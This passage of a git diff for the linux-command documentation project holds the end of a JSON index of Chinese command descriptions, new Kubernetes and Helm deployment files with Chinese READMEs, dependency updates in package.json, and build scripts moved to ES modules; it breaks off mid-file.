rpm2cpio","p":"/rpm2cpio","d":"将RPM软件包转换为cpio格式的文件"},"rpmbuild":{"n":"rpmbuild","p":"/rpmbuild","d":"创建RPM的二进制软件包和源码软件包"},"rpmdb":{"n":"rpmdb","p":"/rpmdb","d":"初始化和重建RPM数据库"},"rpmquery":{"n":"rpmquery","p":"/rpmquery","d":"从RPM数据库中查询软件包信息"},"rpmsign":{"n":"rpmsign","p":"/rpmsign","d":"使用RPM软件包的签名管理工具"},"rpmverify":{"n":"rpmverify","p":"/rpmverify","d":"验证已安装的RPM软件包的正确性"},"rsh":{"n":"rsh","p":"/rsh","d":"连接远程主机并执行命令"},"rsync":{"n":"rsync","p":"/rsync","d":"远程数据同步工具"},"runlevel":{"n":"runlevel","p":"/runlevel","d":"打印当前Linux系统的运行等级"},"sar":{"n":"sar","p":"/sar","d":"系统运行状态统计工具"},"scp":{"n":"scp","p":"/scp","d":"加密的方式在本地主机和远程主机之间复制文件"},"screen":{"n":"screen","p":"/screen","d":"用于命令行终端切换"},"script":{"n":"script","p":"/script","d":"记录终端会话的所有操作"},"scriptreplay":{"n":"scriptreplay","p":"/scriptreplay","d":"重新播放终端会话的所有操作"},"sed":{"n":"sed","p":"/sed","d":"功能强大的流式文本编辑器"},"seinfo":{"n":"seinfo","p":"/seinfo","d":"查询SELinux的策略提供多少相关规则"},"semanage":{"n":"semanage","p":"/semanage","d":"默认目录的安全上下文查询与修改"},"sendmail":{"n":"sendmail","p":"/sendmail","d":"著名电子邮件服务器"},"seq":{"n":"seq","p":"/seq","d":"以指定增量从首数开始打印数字到尾数"},"service":{"n":"service","p":"/service","d":"控制系统服务的实用工具"},"sesearch":{"n":"sesearch","p":"/sesearch","d":"查询SELinux策略的规则详情"},"set":{"n":"set","p":"/set","d":"显示或设置shell特性及shell变量"},"setfacl":{"n":"setfacl","p":"/setfacl","d":"设置文件访问控制列表"},"setpci":{"n":"setpci","p":"/setpci","d":"查询和配置PCI设备的使用工具"},"setsebool":{"n":"setsebool","p":"/setsebool","d":"修改SElinux策略内各项规则的布尔值"},"setsid":{"n":"setsid","p":"/setsid","d":"在新的会话中运行程序"},"sftp-server":{"n":"sftp-server","p":"/sftp-server","d":"sftp协议的服务器端程序"},"sftp":{"n":"sftp","p":"/sftp","d":"交互式的文件传输程序"},"sh":{"n":"sh","p":"/sh","d":"shell命令解释器"},"sha256sum":{"n":"sha256sum","p":"/sha256sum","d":"用于计算文件的 SHA-256 哈希值"},"shift":{"n":"shift","p":"/shift","d":"移动位置参数。"},"shopt":{"n":"shopt","p":"/shopt","d":"显示和设置shell操作选项"},"showmount":{"n":"showmount","p":"/showmount","d":"显示NFS服务器加载的信息"},"shuf":{"n":"shuf","p":"/shuf","d":"产生随机的排列。"},"shutdown":{"n":"shutdown","p":"/shutdown","d":"用来执行系统关机的命令"},"skill":{"n":"skill","p":"/skill","d":"向选定的进程发送信号冻结进程"},"slabtop":{"n":"slabtop","p":"/slabtop","d":"实时显示内核slab内存缓存信息"},"sleep":{"n":"sleep","p":"/sleep","d":"将目前动作延迟一段时间"},"slocate":{"n":"slocate","p":"/slocate","d":"命令查找文件或目录"},"smartmontools":{"n":"smartmontools","p":"/smartmontools","d":"Smartmontools 是一种硬盘检测工具,通过控制和管理硬盘的SMART(Self Monitoring Analysis and Reporting Technology,自动检测分析及报告技术)技术来实现的"},"smbclient":{"n":"smbclient","p":"/smbclient","d":"交互方式访问samba服务器"},"smbpasswd":{"n":"smbpasswd","p":"/smbpasswd","d":"samba用户和密码管理工具"},"sort":{"n":"sort","p":"/sort","d":"对文本文件中所有行进行排序。"},"sosreport":{"n":"sosreport","p":"/sosreport","d":"收集系统配置和诊断信息"},"source":{"n":"source","p":"/source","d":"在当前Shell环境中从指定文件读取和执行命令。"},"speedtest-cli":{"n":"speedtest-cli","p":"/speedtest-cli","d":"命令行下测试服务器外网速度"},"spell":{"n":"spell","p":"/spell","d":"对文件进行拼写检查"},"split":{"n":"split","p":"/split","d":"分割任意大小的文件"},"squid":{"n":"squid","p":"/squid","d":"squid服务器守护进程"},"squidclient":{"n":"squidclient","p":"/squidclient","d":"squid服务器的客户端管理工具"},"ss":{"n":"ss","p":"/ss","d":"比 netstat 好用的socket统计信息,iproute2 包附带的另一个工具,允许你查询 socket 的有关统计信息"},"ssh-add":{"n":"ssh-add","p":"/ssh-add","d":"把专用密钥添加到ssh-agent的高速缓存中"},"ssh-agent":{"n":"ssh-agent","p":"/ssh-agent","d":"ssh密钥管理器"},"ssh-copy-id":{"n":"ssh-copy-id","p":"/ssh-copy-id","d":"把本地的ssh公钥文件安装到远程主机对应的账户下"},"ssh-keygen":{"n":"ssh-keygen","p":"/ssh-keygen","d":"为ssh生成、管理和转换认证密钥"},"ssh-keyscan":{"n":"ssh-keyscan","p":"/ssh-keyscan","d":"收集主机公钥的使用工具"},"ssh":{"n":"ssh","p":"/ssh","d":"openssh套件中的客户端连接工具"},"sshd":{"n":"sshd","p":"/sshd","d":"openssh软件套件中的服务器守护进程"},"sshpass":{"n":"sshpass","p":"/sshpass","d":"免交互 SSH 登录工具。"},"startx":{"n":"startx","p":"/startx","d":"用来启动X Window"},"stat":{"n":"stat","p":"/stat","d":"用于显示文件的状态信息"},"strace":{"n":"strace","p":"/strace","d":"跟踪系统调用和信号"},"strings":{"n":"strings","p":"/strings","d":"在对象文件或二进制文件中查找可打印的字符串"},"stty":{"n":"stty","p":"/stty","d":"修改终端命令行的相关设置"},"su":{"n":"su","p":"/su","d":"用于切换当前用户身份到其他用户身份"},"sudo":{"n":"sudo","p":"/sudo","d":"以其他身份来执行命令"},"sum":{"n":"sum","p":"/sum","d":"计算文件的校验码和显示块数"},"supervisord":{"n":"supervisord","p":"/supervisord","d":"配置后台服务/常驻进程的进程管家工具"},"suspend":{"n":"suspend","p":"/suspend","d":"挂起shell的执行。"},"swapoff":{"n":"swapoff","p":"/swapoff","d":"关闭指定的交换空间"},"swapon":{"n":"swapon","p":"/swapon","d":"激活Linux系统中交换空间"},"sync":{"n":"sync","p":"/sync","d":"用于强制被改变的内容立刻写入磁盘"},"sysctl":{"n":"sysctl","p":"/sysctl","d":"时动态地修改内核的运行参数"},"syslog":{"n":"syslog","p":"/syslog","d":"系统默认的日志守护进程"},"systemctl":{"n":"systemctl","p":"/systemctl","d":"系统服务管理器指令"},"systool":{"n":"systool","p":"/systool","d":"显示基于总线、类和拓扑显示系统中设备的信息"},"tac":{"n":"tac","p":"/tac","d":"连接多个文件并以行为单位反向打印到标准输出。"},"tail":{"n":"tail","p":"/tail","d":"在屏幕上显示指定文件的末尾若干行"},"tailf":{"n":"tailf","p":"/tailf","d":"在屏幕上显示指定文件的末尾若干行内容,通常用于日志文件的跟踪输出"},"talk":{"n":"talk","p":"/talk","d":"让用户和其他用户聊天"},"tar":{"n":"tar","p":"/tar","d":"将许多文件一起保存至一个单独的磁带或磁盘归档,并能从归档中单独还原所需文件。"},"tcpdump":{"n":"tcpdump","p":"/tcpdump","d":"一款sniffer工具,是Linux上的抓包工具,嗅探器"},"tcpreplay":{"n":"tcpreplay","p":"/tcpreplay","d":"将保存在 PCAP 文件包重新发送,用于性能或者功能测试"},"tee":{"n":"tee","p":"/tee","d":"从标准输入读取数据并重定向到标准输出和文件。"},"telinit":{"n":"telinit","p":"/telinit","d":"切换当前正在运行系统的运行等级"},"telnet":{"n":"telnet","p":"/telnet","d":"登录远程主机和管理(测试ip端口是否连通)"},"tempfile":{"n":"tempfile","p":"/tempfile","d":"shell中给临时文件命名"},"test":{"n":"test","p":"/test","d":"执行条件表达式。"},"tftp":{"n":"tftp","p":"/tftp","d":"在本机和tftp服务器之间使用TFTP协议传输文件"},"time":{"n":"time","p":"/time","d":"统计给定命令所花费的总时间"},"timedatectl":{"n":"timedatectl","p":"/timedatectl","d":"用于在 Linux 中设置或查询系统时间、日期和时区等配置。"},"times":{"n":"times","p":"/times","d":"显示进程累计时间。"},"tload":{"n":"tload","p":"/tload","d":"显示系统负载状况"},"tmux":{"n":"tmux","p":"/tmux","d":"Tmux是一个优秀的终端复用软件,类似GNU Screen,但来自于OpenBSD,采用BSD授权"},"top":{"n":"top","p":"/top","d":"显示或管理执行中的程序"},"touch":{"n":"touch","p":"/touch","d":"创建新的空文件"},"tput":{"n":"tput","p":"/tput","d":"通过terminfo数据库对终端会话进行初始化和操作"},"tr":{"n":"tr","p":"/tr","d":"将字符进行替换压缩和删除"},"tracepath":{"n":"tracepath","p":"/tracepath","d":"追踪目的主机经过的路由信息"},"traceroute":{"n":"traceroute","p":"/traceroute","d":"显示数据包到主机间的路径"},"trap":{"n":"trap","p":"/trap","d":"捕捉信号和其他事件并执行命令。"},"tree":{"n":"tree","p":"/tree","d":"树状图列出目录的内容"},"true":{"n":"true","p":"/true","d":"返回状态为成功。"},"tty":{"n":"tty","p":"/tty","d":"显示连接到当前标准输入的终端设备文件名"},"type":{"n":"type","p":"/type","d":"显示指定命令的类型。"},"ufw":{"n":"ufw","p":"/ufw","d":" ubuntu防火墙管理工具"},"ulimit":{"n":"ulimit","p":"/ulimit","d":"控制shell程序的资源"},"umask":{"n":"umask","p":"/umask","d":"显示或设置创建文件的权限掩码。"},"umount":{"n":"umount","p":"/umount","d":"用于卸载已经加载的文件系统"},"unalias":{"n":"unalias","p":"/unalias","d":"删除由alias设置的别名"},"uname":{"n":"uname","p":"/uname","d":"打印系统信息。"},"unarj":{"n":"unarj","p":"/unarj","d":"解压缩由arj命令创建的压缩包"},"uncompress":{"n":"uncompress","p":"/uncompress","d":"用来解压.Z文件"},"unexpand":{"n":"unexpand","p":"/unexpand","d":"将文件的空白字符转换为制表符"},"uniq":{"n":"uniq","p":"/uniq","d":"显示或忽略重复的行。"},"unlink":{"n":"unlink","p":"/unlink","d":"系统调用函数unlink去删除指定的文件"},"unprotoize":{"n":"unprotoize","p":"/unprotoize","d":"删除C语言源代码文件中的函数原型"},"unrar":{"n":"unrar","p":"/unrar","d":"解压rar文件命令,从 rar 压缩包中提取文件"},"unset":{"n":"unset","p":"/unset","d":"删除指定的shell变量或函数。"},"unzip":{"n":"unzip","p":"/unzip","d":"用于解压缩由zip命令压缩的压缩包"},"updatedb":{"n":"updatedb","p":"/updatedb","d":"创建或更新slocate命令所必需的数据库文件"},"uptime":{"n":"uptime","p":"/uptime","d":"查看Linux系统负载信息"},"useradd":{"n":"useradd","p":"/useradd","d":"创建的新的系统用户"},"userdel":{"n":"userdel","p":"/userdel","d":"用于删除给定的用户以及与用户相关的文件"},"usermod":{"n":"usermod","p":"/usermod","d":"用于修改用户的基本信息"},"usernetctl":{"n":"usernetctl","p":"/usernetctl","d":"被允许时操作指定的网络接口"},"users":{"n":"users","p":"/users","d":"打印当前主机所有登陆用户的名称。"},"uucico":{"n":"uucico","p":"/uucico","d":"UUCP文件传输服务程序"},"uupick":{"n":"uupick","p":"/uupick","d":"命令处理传送进来的文件"},"uuto":{"n":"uuto","p":"/uuto","d":"将文件传送到远端的UUCP主机"},"vdfuse":{"n":"vdfuse","p":"/vdfuse","d":"VirtualBox软件挂载VDI分区文件工具"},"vgchange":{"n":"vgchange","p":"/vgchange","d":"修改卷组属性"},"vgconvert":{"n":"vgconvert","p":"/vgconvert","d":"转换卷组元数据格式"},"vgcreate":{"n":"vgcreate","p":"/vgcreate","d":"用于创建LVM卷组"},"vgdisplay":{"n":"vgdisplay","p":"/vgdisplay","d":"显示LVM卷组的信息"},"vgextend":{"n":"vgextend","p":"/vgextend","d":"向卷组中添加物理卷"},"vgreduce":{"n":"vgreduce","p":"/vgreduce","d":"从卷组中删除物理卷"},"vgremove":{"n":"vgremove","p":"/vgremove","d":"用于用户删除LVM卷组"},"vgrename":{"n":"vgrename","p":"/vgrename","d":"使用vgrename命令可以重命名卷组的名称"},"vgscan":{"n":"vgscan","p":"/vgscan","d":"扫描并显示系统中的卷组"},"vi":{"n":"vi","p":"/vi","d":"功能强大的纯文本编辑器"},"vmstat":{"n":"vmstat","p":"/vmstat","d":"显示虚拟内存状态"},"volname":{"n":"volname","p":"/volname","d":"显示指定的ISO-9660格式的设备的卷名称"},"w":{"n":"w","p":"/w","d":"显示目前登入系统的用户信息"},"wait":{"n":"wait","p":"/wait","d":"等待进程执行完后返回"},"wall":{"n":"wall","p":"/wall","d":"向系统当前所有打开的终端上输出信息"},"watch":{"n":"watch","p":"/watch","d":"可以将命令的输出结果输出到标准输出设备,多用于周期性执行命令/定时执行命令"},"wc":{"n":"wc","p":"/wc","d":"统计文件的字节数、字数、行数"},"wget":{"n":"wget","p":"/wget","d":"Linux系统下载文件工具"},"whatis":{"n":"whatis","p":"/whatis","d":"查询一个命令执行什么功能"},"whereis":{"n":"whereis","p":"/whereis","d":"查找二进制程序、代码等相关文件路径"},"which":{"n":"which","p":"/which","d":"查找并显示给定命令的绝对路径"},"who":{"n":"who","p":"/who","d":"显示当前所有登陆用户的信息。"},"whoami":{"n":"whoami","p":"/whoami","d":"打印当前有效的用户ID对应的名称"},"write":{"n":"write","p":"/write","d":"向指定登录用户终端上发送信息"},"xargs":{"n":"xargs","p":"/xargs","d":"给其他命令传递参数的一个过滤器"},"xauth":{"n":"xauth","p":"/xauth","d":"显示和编辑被用于连接X服务器的认证信息"},"xclip":{"n":"xclip","p":"/xclip","d":"管理 X 粘贴板"},"xhost":{"n":"xhost","p":"/xhost","d":"制哪些X客户端能够在X服务器上显示"},"xinit":{"n":"xinit","p":"/xinit","d":"是Linux下X-Window系统的初始化程序"},"xlsatoms":{"n":"xlsatoms","p":"/xlsatoms","d":"列出X服务器内部所有定义的原子成分"},"xlsclients":{"n":"xlsclients","p":"/xlsclients","d":"列出显示器中的客户端应用程序"},"xlsfonts":{"n":"xlsfonts","p":"/xlsfonts","d":"列出X Server使用的字体"},"xrandr":{"n":"xrandr","p":"/xrandr","d":"X 窗口系统配置管理工具"},"xset":{"n":"xset","p":"/xset","d":"设置X-Window系统中的用户爱好的实用工具"},"xz":{"n":"xz","p":"/xz","d":"POSIX 平台开发具有高压缩率的工具"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}}
\ No newline at end of file
diff --git a/k8s/README.md b/k8s/README.md
new file mode 100644
index 00000000000..146392149aa
--- /dev/null
+++ b/k8s/README.md
@@ -0,0 +1,64 @@
+# 快速入门指南
+
+本指南旨在帮助您在 Kubernetes 中部署基于 `wcjiang/linux-command` 镜像的 `linux-command` 应用。该应用提供了一套 `Deployment`,并通过 `Service` 对外暴露服务端口。
+
+## 前提条件
+
+- 已安装并配置好的 Kubernetes 集群
+- 安装并配置好的 `kubectl`,并连接至你的 Kubernetes 集群
+
+## 安装步骤
+
+我们将使用此存储库中的`kubectl`应用 YAML 文件,该文件将安装 `linux-command` 应用。
+
+```bash
+$ kubectl apply -f https://raw.githubusercontent.com/jaywcjlove/linux-command/refs/heads/master/k8s/linux-command.yaml
+```
+
+检查 `Deployment` 状态:
+
+```bash
+$ kubectl get deployments -n linux-command
+NAME READY UP-TO-DATE AVAILABLE AGE
+linux-command 1/1 1 1 17m
+```
+
+你可以查看 `Pod` 的状态以确保其正常运行:
+
+```bash
+$ kubectl get pods -n linux-command
+NAME READY STATUS RESTARTS AGE
+linux-command-fff454654-427zp 1/1 Running 0 12m
+```
+
+验证 `Service` 是否成功创建并获取暴露的端口:
+
+```
+$ kubectl get services -n linux-command
+NAME TYPE CLUSTER-IP EXTERNAL-IP PORT(S) AGE
+linux-command-service NodePort 10.96.2.225 9665:30204/TCP 18m
+```
+
+## 访问应用
+
+通过获取 `NodePort` 的端口来访问应用。以下是获取 `NodePort` 服务信息的命令:
+
+```
+$ kubectl get svc linux-command-service -n linux-command
+```
+
+根据输出,使用 `EXTERNAL-IP:PORT` 访问服务。例如:
+
+```
+http://:
+```
+
+## 卸载应用
+
+如果需要删除已部署的资源,可以按以下顺序操作:
+
+```
+kubectl delete -f linux-command.yaml
+```
+
+这将会清理所有创建的 Kubernetes 资源。
diff --git a/k8s/helm/charts/linux-command/.helmignore b/k8s/helm/charts/linux-command/.helmignore
new file mode 100644
index 00000000000..0e8a0eb36f4
--- /dev/null
+++ b/k8s/helm/charts/linux-command/.helmignore
@@ -0,0 +1,23 @@
+# Patterns to ignore when building packages.
+# This supports shell glob matching, relative path matching, and
+# negation (prefixed with !). Only one pattern per line.
+.DS_Store
+# Common VCS dirs
+.git/
+.gitignore
+.bzr/
+.bzrignore
+.hg/
+.hgignore
+.svn/
+# Common backup files
+*.swp
+*.bak
+*.tmp
+*.orig
+*~
+# Various IDEs
+.project
+.idea/
+*.tmproj
+.vscode/
diff --git a/k8s/helm/charts/linux-command/Chart.yaml b/k8s/helm/charts/linux-command/Chart.yaml
new file mode 100644
index 00000000000..62db357f2ec
--- /dev/null
+++ b/k8s/helm/charts/linux-command/Chart.yaml
@@ -0,0 +1,21 @@
+apiVersion: v2
+name: linux-command
+description: A Helm chart for Kubernetes
+# A chart can be either an 'application' or a 'library' chart.
+#
+# Application charts are a collection of templates that can be packaged into versioned archives
+# to be deployed.
+#
+# Library charts provide useful utilities or functions for the chart developer. They're included as
+# a dependency of application charts to inject those utilities and functions into the rendering
+# pipeline. Library charts do not define any templates and therefore cannot be deployed.
+type: application
+# This is the chart version. This version number should be incremented each time you make changes
+# to the chart and its templates, including the app version.
+# Versions are expected to follow Semantic Versioning (https://semver.org/)
+version: 0.1.0
+# This is the version number of the application being deployed. This version number should be
+# incremented each time you make changes to the application. Versions are not expected to
+# follow Semantic Versioning. They should reflect the version the application is using.
+# It is recommended to use it with quotes.
+appVersion: "0.1.0"
diff --git a/k8s/helm/charts/linux-command/README.md b/k8s/helm/charts/linux-command/README.md
new file mode 100644
index 00000000000..042c4695a6b
--- /dev/null
+++ b/k8s/helm/charts/linux-command/README.md
@@ -0,0 +1,44 @@
+# linux-command
+
+linux-command 的 Helm 图表。该图表使用 Helm 软件包管理器在 Kubernetes 集群上引导部署 linux-command。
+
+## 安装 Chart
+
+```
+$ helm install linux-command ./linux-command --namespace linux-command --create-namespace
+```
+
+## 卸载 Chart
+
+```
+$ helm -n linux-command uninstall linux-command
+```
+
+这会删除与图表相关的所有 Kubernetes 组件,并删除发布。
+
+## 配置参数
+
+下表列出了 linux-command 图表的可配置参数及其默认值。
+
+| Key | Type | Default | Description |
+| ------------------------------------------------------------ | ------ | ------------------------- | ----------- |
+| linuxCommand.linuxCommandContainer.image.repository | string | `"wcjiang/linux-command"` | |
+| linuxCommand.linuxCommandContainer.image.tag | string | `"latest"` | |
+| linuxCommand.linuxCommandContainer.imagePullPolicy | string | `"IfNotPresent"` | |
+| linuxCommand.linuxCommandContainer.resources.limits.cpu | string | `"100m"` | |
+| linuxCommand.linuxCommandContainer.resources.limits.memory | string | `"50Mi"` | |
+| linuxCommand.linuxCommandContainer.resources.requests.cpu | string | `"100m"` | |
+| linuxCommand.linuxCommandContainer.resources.requests.memory | string | `"50Mi"` | |
+| linuxCommand.replicas | int | `1` | |
+| service.ports[0].port | int | `9665` | |
+| service.ports[0].protocol | string | `"TCP"` | |
+| service.ports[0].targetPort | int | `3000` | |
+| service.type | string | `"NodePort"` | |
+
+使用`-set key=value[,key=value]`参数为`helm install`指定每个参数。
+
+或者,也可以在安装图表时提供指定参数值的 YAML 文件。例如
+
+```
+helm install -f values.yaml ./linux-command
+```
diff --git a/k8s/helm/charts/linux-command/templates/_helpers.tpl b/k8s/helm/charts/linux-command/templates/_helpers.tpl
new file mode 100644
index 00000000000..68cb3b48b25
--- /dev/null
+++ b/k8s/helm/charts/linux-command/templates/_helpers.tpl
@@ -0,0 +1,62 @@
+{{/*
+Expand the name of the chart.
+*/}}
+{{- define "linux-command.name" -}}
+{{- default .Chart.Name .Values.nameOverride | trunc 63 | trimSuffix "-" }}
+{{- end }}
+
+{{/*
+Create a default fully qualified app name.
+We truncate at 63 chars because some Kubernetes name fields are limited to this (by the DNS naming spec).
+If release name contains chart name it will be used as a full name.
+*/}}
+{{- define "linux-command.fullname" -}}
+{{- if .Values.fullnameOverride }}
+{{- .Values.fullnameOverride | trunc 63 | trimSuffix "-" }}
+{{- else }}
+{{- $name := default .Chart.Name .Values.nameOverride }}
+{{- if contains $name .Release.Name }}
+{{- .Release.Name | trunc 63 | trimSuffix "-" }}
+{{- else }}
+{{- printf "%s-%s" .Release.Name $name | trunc 63 | trimSuffix "-" }}
+{{- end }}
+{{- end }}
+{{- end }}
+
+{{/*
+Create chart name and version as used by the chart label.
+*/}}
+{{- define "linux-command.chart" -}}
+{{- printf "%s-%s" .Chart.Name .Chart.Version | replace "+" "_" | trunc 63 | trimSuffix "-" }}
+{{- end }}
+
+{{/*
+Common labels
+*/}}
+{{- define "linux-command.labels" -}}
+helm.sh/chart: {{ include "linux-command.chart" . }}
+{{ include "linux-command.selectorLabels" . }}
+{{- if .Chart.AppVersion }}
+app.kubernetes.io/version: {{ .Chart.AppVersion | quote }}
+{{- end }}
+app.kubernetes.io/managed-by: {{ .Release.Service }}
+{{- end }}
+
+{{/*
+Selector labels
+*/}}
+{{- define "linux-command.selectorLabels" -}}
+app.kubernetes.io/name: {{ include "linux-command.name" . }}
+app.kubernetes.io/instance: {{ .Release.Name }}
+{{- end }}
+
+{{/*
+Create the name of the service account to use
+*/}}
+{{- define "linux-command.serviceAccountName" -}}
+{{- if .Values.serviceAccount.create }}
+{{- default (include "linux-command.fullname" .) .Values.serviceAccount.name }}
+{{- else }}
+{{- default "default" .Values.serviceAccount.name }}
+{{- end }}
+{{- end }}
diff --git a/k8s/helm/charts/linux-command/templates/deployment.yaml b/k8s/helm/charts/linux-command/templates/deployment.yaml
new file mode 100644
index 00000000000..fbfc1318671
--- /dev/null
+++ b/k8s/helm/charts/linux-command/templates/deployment.yaml
@@ -0,0 +1,32 @@
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+ name: {{ include "linux-command.fullname" . }}-linux-command
+ labels:
+ app: linux-command
+ {{- include "linux-command.labels" . | nindent 4 }}
+spec:
+ replicas: {{ .Values.linuxCommand.replicas }}
+ selector:
+ matchLabels:
+ app: linux-command
+ {{- include "linux-command.selectorLabels" . | nindent 6 }}
+ template:
+ metadata:
+ labels:
+ app: linux-command
+ {{- include "linux-command.selectorLabels" . | nindent 8 }}
+ spec:
+ containers:
+ - env:
+ - name: KUBERNETES_CLUSTER_DOMAIN
+ value: {{ quote .Values.kubernetesClusterDomain }}
+ image: {{ .Values.linuxCommand.linuxCommandContainer.image.repository }}:{{ .Values.linuxCommand.linuxCommandContainer.image.tag
+ | default .Chart.AppVersion }}
+ imagePullPolicy: {{ .Values.linuxCommand.linuxCommandContainer.imagePullPolicy
+ }}
+ name: linux-command-container
+ ports:
+ - containerPort: 3000
+ resources: {{- toYaml .Values.linuxCommand.linuxCommandContainer.resources | nindent
+ 10 }}
\ No newline at end of file
diff --git a/k8s/helm/charts/linux-command/templates/service.yaml b/k8s/helm/charts/linux-command/templates/service.yaml
new file mode 100644
index 00000000000..4f5faa02ee7
--- /dev/null
+++ b/k8s/helm/charts/linux-command/templates/service.yaml
@@ -0,0 +1,13 @@
+apiVersion: v1
+kind: Service
+metadata:
+ name: {{ include "linux-command.fullname" . }}-service
+ labels:
+ {{- include "linux-command.labels" . | nindent 4 }}
+spec:
+ type: {{ .Values.service.type }}
+ selector:
+ app: linux-command
+ {{- include "linux-command.selectorLabels" . | nindent 4 }}
+ ports:
+ {{- .Values.service.ports | toYaml | nindent 2 }}
diff --git a/k8s/helm/charts/linux-command/values.yaml b/k8s/helm/charts/linux-command/values.yaml
new file mode 100644
index 00000000000..5b449e33bcb
--- /dev/null
+++ b/k8s/helm/charts/linux-command/values.yaml
@@ -0,0 +1,20 @@
+linuxCommand:
+ linuxCommandContainer:
+ image:
+ repository: wcjiang/linux-command
+ tag: latest
+ imagePullPolicy: IfNotPresent
+ resources:
+ limits:
+ cpu: 100m
+ memory: 50Mi
+ requests:
+ cpu: 100m
+ memory: 50Mi
+ replicas: 1
+service:
+ ports:
+ - port: 9665
+ protocol: TCP
+ targetPort: 3000
+ type: NodePort
diff --git a/k8s/linux-command.yaml b/k8s/linux-command.yaml
new file mode 100644
index 00000000000..bc7fd6abb44
--- /dev/null
+++ b/k8s/linux-command.yaml
@@ -0,0 +1,50 @@
+---
+apiVersion: v1
+kind: Namespace
+metadata:
+ name: linux-command
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+ name: linux-command
+ namespace: linux-command
+ labels:
+ app: linux-command
+spec:
+ replicas: 1
+ selector:
+ matchLabels:
+ app: linux-command
+ template:
+ metadata:
+ labels:
+ app: linux-command
+ spec:
+ containers:
+ - name: linux-command-container
+ image: wcjiang/linux-command:latest
+ imagePullPolicy: IfNotPresent
+ ports:
+ - containerPort: 3000
+ resources:
+ requests:
+ cpu: "100m"
+ memory: "50Mi"
+ limits:
+ cpu: "100m"
+ memory: "50Mi"
+---
+apiVersion: v1
+kind: Service
+metadata:
+ name: linux-command-service
+ namespace: linux-command
+spec:
+ selector:
+ app: linux-command
+ ports:
+ - protocol: TCP
+ port: 9665
+ targetPort: 3000
+ type: NodePort
diff --git a/netlify.toml b/netlify.toml
new file mode 100644
index 00000000000..2ea364dc5d0
--- /dev/null
+++ b/netlify.toml
@@ -0,0 +1,3 @@
+[build]
+ command = "npm run build"
+ publish = ".deploy"
diff --git a/package.json b/package.json
index 9cf84a157ef..79777a2abe4 100644
--- a/package.json
+++ b/package.json
@@ -1,13 +1,13 @@
{
"name": "linux-command",
- "version": "1.11.0",
+ "version": "1.21.0",
"description": "Linux Command",
"homepage": "https://jaywcjlove.github.io/linux-command/",
"main": "dist/data.json",
"scripts": {
"start": "npm run build",
- "build": "node build/build.mjs",
- "dash": "npm run build && node build/dash.js"
+ "build": "node scripts/build.mjs",
+ "dash": "npm run build && node scripts/dash.mjs"
},
"files": [
"command",
@@ -27,17 +27,17 @@
"devDependencies": {
"@uiw/github-corners": "~1.5.11",
"@wcj/dark-mode": "~1.0.14",
- "archiver": "~5.3.0",
- "colors-cli": "~1.0.28",
+ "colors-cli": "~1.0.31",
"ejs": "~3.1.6",
+ "compressing": "^1.6.2",
"fs-extra": "~10.1.0",
- "markdown-to-html-cli": "~3.4.1",
+ "markdown-to-html-cli": "~4.0.0",
"sitemap-generator": "~8.5.1",
- "sqlite3": "5.0.8",
- "stylus": "~0.59.0",
- "uglify-js": "~3.16.0"
+ "sqlite3": "5.1.5",
+ "stylus": "~0.63.0",
+ "uglify-js": "~3.19.0"
},
"engines": {
- "node": "^12.20.0 || ^14.13.1 || >=16.0.0"
+ "node": ">=16.0.0"
}
}
diff --git a/build/build.mjs b/scripts/build.mjs
similarity index 94%
rename from build/build.mjs
rename to scripts/build.mjs
index f7c13b392e5..63e1cfa3739 100644
--- a/build/build.mjs
+++ b/scripts/build.mjs
@@ -4,7 +4,7 @@ import stylus from 'stylus';
import * as ejs from 'ejs';
import UglifyJS from 'uglify-js';
import { create } from 'markdown-to-html-cli';
-import _ from 'colors-cli/toxic.js';
+import _ from 'colors-cli/toxic';
const deployDir = path.resolve(process.cwd(), '.deploy');
const faviconPath = path.resolve(process.cwd(), 'template', 'img', 'favicon.ico');
@@ -107,6 +107,7 @@ const contributorsPath = path.resolve(process.cwd(), 'CONTRIBUTORS.svg');
}));
} catch (err) {
+ console.log(`\n ERROR :> ${err}\n`)
if (err && err.message) {
console.log(`\n ERROR :> ${err.message.red_bt}\n`)
}
@@ -217,7 +218,15 @@ const contributorsPath = path.resolve(process.cwd(), 'CONTRIBUTORS.svg');
}
function markdownToHTML(str) {
- return create({ markdown: str, document: undefined, 'dark-mode': false });
+ return create({
+ rewrite: (node) => {
+ if (node.type === 'element' && node.properties?.href && /.md/.test(node.properties.href) && !/^(https?:\/\/)/.test(node.properties.href)) {
+ let href = node.properties.href;
+ node.properties.href = href.replace(/([^\.\/\\]+)\.(md|markdown)/gi, '$1.html');
+ }
+ },
+ markdown: str, document: undefined, 'dark-mode': false
+ });
}
/**
diff --git a/build/dash.js b/scripts/dash.mjs
similarity index 65%
rename from build/dash.js
rename to scripts/dash.mjs
index 986235dd507..fc62b40f9b5 100644
--- a/build/dash.js
+++ b/scripts/dash.mjs
@@ -1,8 +1,14 @@
-const fs = require('fs-extra');
-const { resolve: pathResolve, join: pathJoin } = require('path');
-const sqlite3 = require('sqlite3');
-const archiver = require('archiver');
-const pkg = require('../package.json');
+import fs from 'fs-extra';
+import path from 'path';
+import { resolve as pathResolve, join as pathJoin } from 'path';
+import sqlite3 from 'sqlite3';
+import {tgz} from 'compressing';
+import { spawn } from 'child_process';
+import {fileURLToPath} from 'url';
+
+const __filename = fileURLToPath(import.meta.url);
+const __dirname = path.dirname(__filename);
+const pkg = fs.readJSONSync(pathResolve(__dirname, '../package.json'));
const DATA_DIR = pathResolve(__dirname, '../assets/');
const INDEX_JSON_PATH = pathResolve(__dirname, '../dist/data.json');
@@ -98,45 +104,6 @@ async function buildApi(dbPath) {
await createDatabase(arr, dbPath);
}
-function compressing() {
- new Promise((resolve, reject) => {
